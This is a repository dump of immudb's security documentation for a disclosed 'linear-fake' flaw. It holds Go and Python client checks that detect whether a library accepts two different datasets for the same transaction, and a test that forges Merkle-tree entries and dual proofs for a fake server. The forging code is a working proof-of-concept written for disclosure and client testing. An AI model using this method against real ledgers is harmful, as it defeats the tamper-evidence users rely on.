checkCorruptedErr(err) { return } _, err = verifyTxRead(client, 5, client.StateService) if checkCorruptedErr(err) { return } key2Fake, err := verifyTxRead(client, 2, client.StateService) if checkCorruptedErr(err) { return } if key2 == key2Fake { log.Fatal("WARNING: Confusing results - are you running against normal immudb server?") } log.Fatalf( "FAILURE: Client is vulnerable, was able to read two different datasets for same transaction: '%s' and '%s'", key2, key2Fake, ) } ================================================ FILE: docs/security/vulnerabilities/linear-fake/python/.gitignore ================================================ Pipfile.lock ================================================ FILE: docs/security/vulnerabilities/linear-fake/python/Pipfile ================================================ [[source]] url = "https://pypi.python.org/simple" verify_ssl = true name = "pypi" [packages] immudb-py = "*" [dev-packages] [requires] python_version = "3" ================================================ FILE: docs/security/vulnerabilities/linear-fake/python/main.py ================================================ from immudb import ImmudbClient, exceptions import sys URL = "localhost:3322" # immudb running on your machine LOGIN = "immudb" # Default username PASSWORD = "immudb" # Default password DB = b"defaultdb" # Default database name (must be in bytes) def main(): client = ImmudbClient(URL) try: # database parameter is optional client.login(LOGIN, PASSWORD, database=DB) tx2 = client.verifiedTxById(2) print(tx2) tx3 = client.verifiedTxById(3) print(tx3) tx5 = client.verifiedTxById(5) print(tx5) tx2faked = client.verifiedTxById(2) print(tx2faked) if tx2 != tx2faked: print("Client library is vulnerable, following distinct key sets retrieved for TX 2: {} / {}".format(tx2, tx2faked)) sys.exit(1) print("Suspicious data received from the server, are you using fake server?") sys.exit(1) except exceptions.ErrCorruptedData as e: print("Successfully detected invalid proof") finally: client.logout() if __name__ == "__main__": main() ================================================ FILE: docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go ================================================ //go:build ignore // +build ignore /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "fmt" "os" "strings" "testing" "time" "github.com/codenotary/immudb/pkg/fs" "github.com/stretchr/testify/require" ) // TestVerifyDualProofLongLinearProofWithReplica is a test function that can generate the test data // stored into `state-values.go` file. Note that this test should be run from within the `embedded/store` // package of an older immudb version since it does access internals of the store. func TestVerifyDualProofLongLinearProofWithReplica(t *testing.T) { toKV := func(s string) []byte { return append([]byte{0}, s...) } // Create two databases, initially those replicate themselves but diverge at some point opts := DefaultOptions().WithSynced(false).WithMaxLinearProofLen(10).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immustoreClose(t, immuStore) opts = DefaultOptions().WithSynced(false).WithMaxLinearProofLen(0).WithMaxConcurrency(1) immuStoreRep, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immustoreClose(t, immuStoreRep) t.Run("add first normal transaction", func(t *testing.T) { tx, err := immuStore.NewWriteOnlyTx() require.NoError(t, err) err = tx.Set(toKV("key"), nil, toKV("value")) require.NoError(t, err) hdr, err := tx.Commit() require.NoError(t, err) require.EqualValues(t, 1, hdr.ID) require.EqualValues(t, 0, hdr.BlTxID) txholder := tempTxHolder(t, immuStore) etx, err := immuStore.ExportTx(1, false, txholder) require.NoError(t, err) _, err = immuStoreRep.ReplicateTx(etx, false) require.NoError(t, err) }) var alhValuesToInject [][sha256.Size]byte t.Run("diverge replica from the primary", func(t *testing.T) { tx, err := immuStoreRep.NewWriteOnlyTx() require.NoError(t, err) err = tx.Set(toKV("fake-key"), nil, toKV("fake-value")) require.NoError(t, err) hdr, err := tx.Commit() require.NoError(t, err) require.EqualValues(t, 2, hdr.ID) require.EqualValues(t, 1, hdr.BlTxID) alhValuesToInject = append(alhValuesToInject, hdr.Alh()) }) t.Run("generate long linear proof in primary", func(t *testing.T) { immuStore.blDone <- struct{}{} // Disable binary linking - we'll be adding entries ourselves defer func() { go immuStore.binaryLinking() }() // To enable clean shutdown of the immustore, note this has to run before we continue for i := 0; i < 2; i++ { // Gather long linear proof by discarding the AHT operations tx, err := immuStore.NewWriteOnlyTx() require.NoError(t, err) err = tx.Set( toKV(fmt.Sprintf("valid-key-%d", i)), nil, toKV(fmt.Sprintf("valid-value-%d", i)), ) require.NoError(t, err) hdr, err := tx.Commit() require.NoError(t, err) require.EqualValues(t, i+2, hdr.ID) require.EqualValues(t, 1, hdr.BlTxID) <-immuStore.blBuffer // Remove the entry waiting in the buffer if i != 0 { alhValuesToInject = append(alhValuesToInject, hdr.Alh()) } } }) t.Run("inject Alh values to Merkle Tree (including Alh from diverged replica)", func(t *testing.T) { require.EqualValues(t, 1, immuStore.aht.Size()) for _, alh := range alhValuesToInject { _, _, err := immuStore.aht.Append(alh[:]) require.NoError(t, err) } }) t.Run("add normal TX after fake AHT data insertion", func(t *testing.T) { tx, err := immuStore.NewWriteOnlyTx() require.NoError(t, err) err = tx.Set(toKV("key-after-0"), nil, toKV("value-after-0")) require.NoError(t, err) hdr, err := tx.Commit() require.NoError(t, err) require.EqualValues(t, 4, hdr.ID) require.EqualValues(t, 3, hdr.BlTxID) // Wait for the async goroutine to consume the new aht entry for immuStore.aht.Size() < 4 { time.Sleep(time.Millisecond) } tx, err = immuStore.NewWriteOnlyTx() require.NoError(t, err) err = tx.Set(toKV("key-after-1"), nil, toKV("value-after-1")) require.NoError(t, err) hdr, err = tx.Commit() require.NoError(t, err) require.EqualValues(t, 5, hdr.ID) require.EqualValues(t, 4, hdr.BlTxID) }) t.Run("dump test data for fake server", func(t *testing.T) { toBArray := func(a []byte, indent int) string { ret := &strings.Builder{} ret.WriteString("[]byte{") for i, b := range a { if i%16 == 0 { ret.WriteString("\n") ret.WriteString(strings.Repeat("\t", indent+1)) } else { ret.WriteString(" ") } fmt.Fprintf(ret, "0x%02X,", b) } if len(a) > 0 { ret.WriteString("\n") ret.WriteString(strings.Repeat("\t", indent)) } ret.WriteString("}") return ret.String() } dumpHdr := func(hdr *TxHeader, indent int) string { i := strings.Repeat("\t", indent) return fmt.Sprintf(""+ "&schema.TxHeader{\n"+ "%s\tId: %d,\n"+ "%s\tPrevAlh: %s,\n"+ "%s\tTs: %d,\n"+ "%s\tVersion: %d,\n"+ "%s\tNentries: %d,\n"+ "%s\tEH: %s,\n"+ "%s\tBlTxId: %d,\n"+ "%s\tBlRoot: %s,\n"+ "%s}", i, hdr.ID, i, toBArray(hdr.PrevAlh[:], 4), i, hdr.Ts, i, hdr.Version, i, hdr.NEntries, i, toBArray(hdr.Eh[:], 4), i, hdr.BlTxID, i, toBArray(hdr.BlRoot[:], 4), i, ) } dumpEntries := func(entries []*TxEntry, indent int) string { i := strings.Repeat("\t", indent) ret := &strings.Builder{} ret.WriteString("[]*schema.TxEntry{") for _, e := range entries { hValue := e.HVal() fmt.Fprintf(ret, "\n"+ "%s\t{\n"+ "%s\t\tKey: %s,\n"+ // "%s Metadata: KVMetadataToProto(e.Metadata()), "%s\t\tHValue: %s,\n"+ "%s\t\tVLen: %d,\n"+ "%s\t},\n", i, i, toBArray(e.Key(), indent+2), i, toBArray(hValue[:], indent+2), i, e.vLen, i, ) } if len(entries) > 0 { ret.WriteString(i) } ret.WriteString("}") return ret.String() } dumpDigests := func(digests [][sha256.Size]byte, indent int) string { ret := strings.Builder{} ret.WriteString("[][]byte{") for _, d := range digests { ret.WriteString("\n") ret.WriteString(strings.Repeat("\t", indent+2)) ret.WriteString(toBArray(d[:], indent+2)[6:]) ret.WriteString(",\n") } if len(digests) > 0 { ret.WriteString(strings.Repeat("\t", indent)) } ret.WriteString("}") return ret.String() } dumpVerifiableTx := func(tx *Tx, dualProof *DualProof, indent int) string { i := strings.Repeat("\t", indent) return fmt.Sprintf("&schema.VerifiableTx{\n"+ "%s Tx: &schema.Tx{\n"+ "%s Header: %s,\n"+ "%s Entries: %s,\n"+ "%s },\n"+ "%s DualProof: &schema.DualProof{\n"+ "%s SourceTxHeader: %s,\n"+ "%s TargetTxHeader: %s,\n"+ "%s InclusionProof: %s,\n"+ "%s ConsistencyProof: %s,\n"+ "%s TargetBlTxAlh: %s,\n"+ "%s LastInclusionProof: %s,\n"+ "%s LinearProof: &schema.LinearProof{\n"+ "%s SourceTxId: %d,\n"+ "%s TargetTxId: %d,\n"+ "%s Terms: %s,\n"+ "%s },\n"+ "%s },\n"+ "%s}"+ "", i, i, dumpHdr(tx.Header(), indent+2), i, dumpEntries(tx.Entries(), indent+2), i, i, i, dumpHdr(dualProof.SourceTxHeader, indent+2), i, dumpHdr(dualProof.TargetTxHeader, indent+2), i, dumpDigests(dualProof.InclusionProof, indent+3), i, dumpDigests(dualProof.ConsistencyProof, indent+3), i, toBArray(dualProof.TargetBlTxAlh[:], indent+3), i, dumpDigests(dualProof.LastInclusionProof, indent+3), i, i, dualProof.LinearProof.SourceTxID, i, dualProof.LinearProof.TargetTxID, i, dumpDigests(dualProof.LinearProof.Terms, indent+3), i, i, i, ) } tx2 := tempTxHolder(t, immuStore) err := immuStore.ReadTx(2, tx2) require.NoError(t, err) tx2Hdr := tx2.Header() tx2Alh := tx2Hdr.Alh() dualProof2_2, err := immuStore.DualProof(tx2Hdr, tx2Hdr) require.NoError(t, err) tx3 := tempTxHolder(t, immuStore) err = immuStore.ReadTx(3, tx3) require.NoError(t, err) tx3Hdr := tx3.Header() dualProof3_2, err := immuStore.DualProof(tx2Hdr, tx3Hdr) require.NoError(t, err) tx5 := tempTxHolder(t, immuStore) err = immuStore.ReadTx(5, tx5) require.NoError(t, err) tx5Hdr := tx5.Header() dualProof5_3, err := immuStore.DualProof(tx3Hdr, tx5Hdr) require.NoError(t, err) tx2Fake := tempTxHolder(t, immuStoreRep) err = immuStoreRep.ReadTx(2, tx2Fake) require.NoError(t, err) dualProof5_2_fake, err := immuStore.DualProof(tx2Fake.Header(), tx5Hdr) require.NoError(t, err) os.WriteFile("../../tools/testing/immufaker/state_values.go", []byte(fmt.Sprintf(""+ "package main\n"+ "\n"+ "import (\n"+ " \"github.com/codenotary/immudb/pkg/api/schema\"\n"+ ")\n"+ "\n"+ "var (\n"+ " stateQueryResult = &schema.ImmutableState{\n"+ " Db: \"defaultdb\",\n"+ " TxId: 2,\n"+ " TxHash: %s,\n"+ " }\n"+ "\n"+ " verifiableTxById_2_2 = %s\n"+ "\n"+ " verifiableTxById_3_2 = %s\n"+ "\n"+ " verifiableTxById_5_3 = %s\n"+ "\n"+ " verifiableTxById_5_2_fake = %s\n"+ ")\n", toBArray(tx2Alh[:], 2), dumpVerifiableTx(tx2, dualProof2_2, 1), dumpVerifiableTx(tx3, dualProof3_2, 1), dumpVerifiableTx(tx5, dualProof5_3, 1), dumpVerifiableTx(tx2Fake, dualProof5_2_fake, 1), )), 0666) }) // Currently there are following transactions in the database: // 1 - valid normal TX, {"key": "value"} // 2 - diverged TX, in linear linking: {"valid-key-0": "valid-value-0"}, in merkle tree hash for: {"fake-key": "fake-value"} // 3 - normal TX using linear linking back to Tx 1: {"valid-key-1": "valid-value-1"} // 4 - normal TX, {"key-after-0": "value-after-0"} // 5 - normal TX, {"key-after-1": "value-after-1"} // // Up to Tx 3, values are proven by doing linear linking back to Tx 1, the Merkle Tree at that point is empty. // // Sequence of actions to run the PoC (as seen by the client): // 1. Verified read Tx 2 (no previous state, new stored state for Tx 2) // 2. Verified read Tx 3 (previously stored state for Tx 2, new stored state for Tx 3) // 3. Verified read Tx 5 (previously stored state for Tx 3, new stored state for Tx 5) // 4. Verified read fake Tx 2 (stored state Tx 5, no update, read succeeds with different Tx data) t.Run("fake entries by injecting invalid Merkle Tree entries proof PoC", func(t *testing.T) { // read tx 2 and ensure it's valid-key-1 tx2 := tempTxHolder(t, immuStore) err := immuStore.ReadTx(2, tx2) require.NoError(t, err) require.Len(t, tx2.Entries(), 1) require.Equal(t, toKV("valid-key-0"), tx2.Entries()[0].key()) tx2Hdr := tx2.Header() // perform dual proof between Tx 2 and Tx 3 tx3Hdr, err := immuStore.ReadTxHeader(3, false) require.NoError(t, err) dualProof, err := immuStore.DualProof(tx2Hdr, tx3Hdr) require.NoError(t, err) verifies := VerifyDualProof(dualProof, tx2Hdr.ID, tx3Hdr.ID, tx2Hdr.Alh(), tx3Hdr.Alh()) require.True(t, verifies) // further perform dual proof to get to Tx 5 tx5Hdr, err := immuStore.ReadTxHeader(5, false) require.NoError(t, err) dualProof, err = immuStore.DualProof(tx3Hdr, tx5Hdr) require.NoError(t, err) verifies = VerifyDualProof(dualProof, tx3Hdr.ID, tx5Hdr.ID, tx3Hdr.Alh(), tx5Hdr.Alh()) require.True(t, verifies) // Read fake Tx from replica DB that has diverged fakeTx2 := tempTxHolder(t, immuStoreRep) err = immuStoreRep.ReadTx(2, fakeTx2) require.NoError(t, err) require.Len(t, fakeTx2.Entries(), 1) require.Equal(t, toKV("fake-key"), fakeTx2.Entries()[0].key()) fakeTx2Hdr := fakeTx2.Header() // Perform consistency proof between fake Tx2 and the genuine Tx5 dualProof, err = immuStore.DualProof(fakeTx2Hdr, tx5Hdr) require.NoError(t, err) // We should never be able to perform this proof by the client !!! verifies = VerifyDualProof(dualProof, fakeTx2Hdr.ID, tx5Hdr.ID, fakeTx2Hdr.Alh(), tx5Hdr.Alh()) require.True(t, verifies) }) } func TestGenerateDataWithLongLinearProof(t *testing.T) { const ( initialNormalTxCount = 10 linearTxCount = 10 finalNormalTxCount = 10 ) opts := DefaultOptions().WithSynced(false).WithMaxLinearProofLen(100).WithMaxConcurrency(1) dir := t.TempDir() immuStore, err := Open(dir, opts) require.NoError(t, err) defer func() { if immuStore != nil { immustoreClose(t, immuStore) } }() t.Run("Prepare initial normal transactions", func(t *testing.T) { for i := 0; i < initialNormalTxCount; i++ { tx, err := immuStore.NewWriteOnlyTx() require.NoError(t, err) err = tx.Set([]byte(fmt.Sprintf("step1:key:%d", i)), nil, []byte(fmt.Sprintf("value:%d", i))) require.NoError(t, err) txhdr, err := tx.AsyncCommit() require.NoError(t, err) require.EqualValues(t, i+1, txhdr.ID) require.EqualValues(t, i, txhdr.BlTxID) immuStore.ahtWHub.WaitFor(txhdr.ID, nil) } }) t.Run("Add transactions with long linear proof", func(t *testing.T) { // Disable binary linking and restore before we finish this step immuStore.blDone <- struct{}{} defer func() { go immuStore.binaryLinking() immuStore.ahtWHub.WaitFor(initialNormalTxCount+linearTxCount, nil) }() for i := 0; i < linearTxCount; i++ { tx, err := immuStore.NewWriteOnlyTx() require.NoError(t, err) err = tx.Set([]byte(fmt.Sprintf("step2:key:%d", i)), nil, []byte(fmt.Sprintf("value:%d", i))) require.NoError(t, err) txhdr, err := tx.AsyncCommit() require.NoError(t, err) require.EqualValues(t, i+1+initialNormalTxCount, txhdr.ID) require.EqualValues(t, initialNormalTxCount, txhdr.BlTxID) } }) t.Run("Add normal transactions at the end", func(t *testing.T) { for i := 0; i < finalNormalTxCount; i++ { tx, err := immuStore.NewWriteOnlyTx() require.NoError(t, err) err = tx.Set([]byte(fmt.Sprintf("step3:key:%d", i)), nil, []byte(fmt.Sprintf("value:%d", i))) require.NoError(t, err) txhdr, err := tx.AsyncCommit() require.NoError(t, err) require.EqualValues(t, i+1+initialNormalTxCount+linearTxCount, txhdr.ID) require.EqualValues(t, i+initialNormalTxCount+linearTxCount, txhdr.BlTxID) immuStore.ahtWHub.WaitFor(txhdr.ID, nil) } }) t.Run("copy database files to test folder", func(t *testing.T) { err := immuStore.Sync() require.NoError(t, err) err = immuStore.Close() require.NoError(t, err) immuStore = nil destPath := "../../test/data_long_linear_proof" copier := fs.NewStandardCopier() err = os.RemoveAll(destPath) require.NoError(t, err) err = copier.CopyDir(dir, destPath) require.NoError(t, err) }) } ================================================ FILE: docs/security/vulnerabilities/linear-fake/server/go.mod ================================================ module linear-fake go 1.24.0 require github.com/codenotary/immudb v1.4.1 require ( github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 // indirect github.com/rakyll/statik v0.1.7 // indirect ) require ( github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect github.com/beorn7/perks v1.0.1 // indirect github.com/cespare/xxhash/v2 v2.2.0 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/fsnotify/fsnotify v1.5.4 // indirect github.com/golang/protobuf v1.5.2 // indirect github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 // indirect github.com/grpc-ecosystem/grpc-gateway v1.16.0 // indirect github.com/hashicorp/hcl v1.0.0 // indirect github.com/inconshreveable/mousetrap v1.0.0 // indirect github.com/magiconair/properties v1.8.6 // indirect github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect github.com/mitchellh/mapstructure v1.5.0 // indirect github.com/o1egl/paseto v1.0.0 // indirect github.com/pelletier/go-toml v1.9.5 // indirect github.com/pelletier/go-toml/v2 v2.0.1 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect github.com/prometheus/client_golang v1.12.2 // indirect github.com/prometheus/client_model v0.2.0 // indirect github.com/prometheus/common v0.32.1 // indirect github.com/prometheus/procfs v0.7.3 // indirect github.com/rogpeppe/go-internal v1.8.0 // indirect github.com/rs/xid v1.3.0 // indirect github.com/spf13/afero v1.8.2 // indirect github.com/spf13/cast v1.5.0 // indirect github.com/spf13/cobra v1.2.1 // indirect github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/spf13/pflag v1.0.5 // indirect github.com/spf13/viper v1.12.0 // indirect github.com/stretchr/testify v1.8.0 github.com/subosito/gotenv v1.3.0 // indirect golang.org/x/crypto v0.48.0 // indirect golang.org/x/net v0.50.0 // indirect golang.org/x/sys v0.41.0 // indirect golang.org/x/term v0.40.0 // indirect golang.org/x/text v0.34.0 // indirect google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f // indirect google.golang.org/grpc v1.58.3 // indirect google.golang.org/protobuf v1.36.6 // indirect gopkg.in/ini.v1 v1.66.6 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) ================================================ FILE: docs/security/vulnerabilities/linear-fake/server/go.sum ================================================ cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= cloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY= cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY= cloud.google.com/go v0.84.0/go.mod h1:RazrYuxIK6Kb7YrzzhPoLmCVzl7Sup4NrbKPg8KHSUM= cloud.google.com/go v0.87.0/go.mod h1:TpDYlFy7vuLzZMMZ+B6iRiELaY7z/gJPaqbMx6mlWcY= cloud.google.com/go v0.90.0/go.mod h1:kRX0mNRHe0e2rC6oNakvwQqzyDmg57xJ+SZU1eT2aDQ= cloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+YI= cloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4= cloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc= cloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA= cloud.google.com/go v0.100.2/go.mod h1:4Xra9TjzAeYHrl5+oeLlzbM2k3mjVhZh4UqTZ//w99A= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= cloud.google.com/go/compute v0.1.0/go.mod h1:GAesmwr110a34z04OlxYkATPBEfVhkymfTBXtfbBFow= cloud.google.com/go/compute v1.3.0/go.mod h1:cCZiE1NHEtai4wiufUhW8I8S1JKkAnhnQJWM7YD99wM= cloud.google.com/go/compute v1.5.0/go.mod h1:9SMHyhJlzhlkJqrPAc839t2BZFTSk6Jdj6mkzQJeu0M= cloud.google.com/go/compute v1.6.0/go.mod h1:T29tfhtVbq1wvAPo0E3+7vhgmkOYeXjhFvz/FMzPu0s= cloud.google.com/go/compute v1.6.1/go.mod h1:g85FgpzFvNULZ+S8AYq87axRKuf2Kh7deLqV/jJ3thU= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk= cloud.google.com/go/firestore v1.6.1/go.mod h1:asNXNOzBdyVQmEU+ggO8UPodTkEVFW5Qx+rwHnAz+EY= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= github.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs= github.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA= github.com/aead/chacha20poly1305 v0.0.0-20170617001512-233f39982aeb/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOdbQRg5nAHt2jrc5QbV0AGuhDdfQI6gXjiFE= github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod 